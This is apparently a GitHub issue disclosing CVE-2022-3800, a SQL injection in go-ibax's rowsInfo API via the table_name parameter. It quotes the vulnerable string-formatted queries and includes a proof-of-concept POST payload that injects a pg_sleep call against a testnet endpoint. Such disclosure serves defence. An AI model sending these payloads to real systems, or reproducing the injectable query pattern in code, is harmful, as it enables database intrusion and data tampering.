Headline
CVE-2022-3800: SQL injection vulnerability via table_name parameter · Issue #2061 · IBAX-io/go-ibax
A vulnerability, which was classified as critical, has been found in IBAX go-ibax. Affected by this issue is some unknown functionality of the file /api/v2/open/rowsInfo. The manipulation of the argument table_name leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-212636.
Describe the bug
SQL Injection vulnerability in /packages/api/database.go of go-ibax via table_name parameter allows attacker to spoof identity, tamper with existing data, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server.This issue affects versions starting from commits on Jul 18, 2020.
file:
sqlQuest = fmt.Sprintf(`select * from “%s” order by %s offset %d limit %d`, tableName, execOrder, (page-1)*limit, limit)
sqlQuest = fmt.Sprintf(`select * from “%s” where %s order by %s offset %d limit %d`, tableName, where, execOrder, (page-1)*limit, limit)
commits:
ac76098#diff-bcab25c94cb216acdcdc607a2071aa896f187754698d3d523050308e17f32aabR172
ac76098#diff-bcab25c94cb216acdcdc607a2071aa896f187754698d3d523050308e17f32aabR174
POC:
Request URL: https://testnet-hk1.ibax.network:5079/api/v2/open/rowsInfo
Request Method: POST
PostData:
①
order=1&table_name=pg_user"%3b+select+pg_sleep(10)%3b±-"&limit=1&page=1
② with where parameter :
order=1&table_name=pg_user"%3b+select+pg_sleep(10)%3b±-"&where=1=1&limit=1&page=1
Reproduction
Request URL: https://testnet-hk1.ibax.network:5079/api/v2/open/rowsInfo
Request Method: POST
PostData:
①
order=1&table_name=pg_user"%3b+select+pg_sleep(10)%3b±-"&limit=1&page=1
② with where parameter :
order=1&table_name=pg_user"%3b+select+pg_sleep(10)%3b±-"&where=1=1&limit=1&page=1
as you can see, when I use pg_sleep, the request is delayed 10s.
System Info****Logs
No response
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- The provided reproduction is a minimal reproducible example of the bug.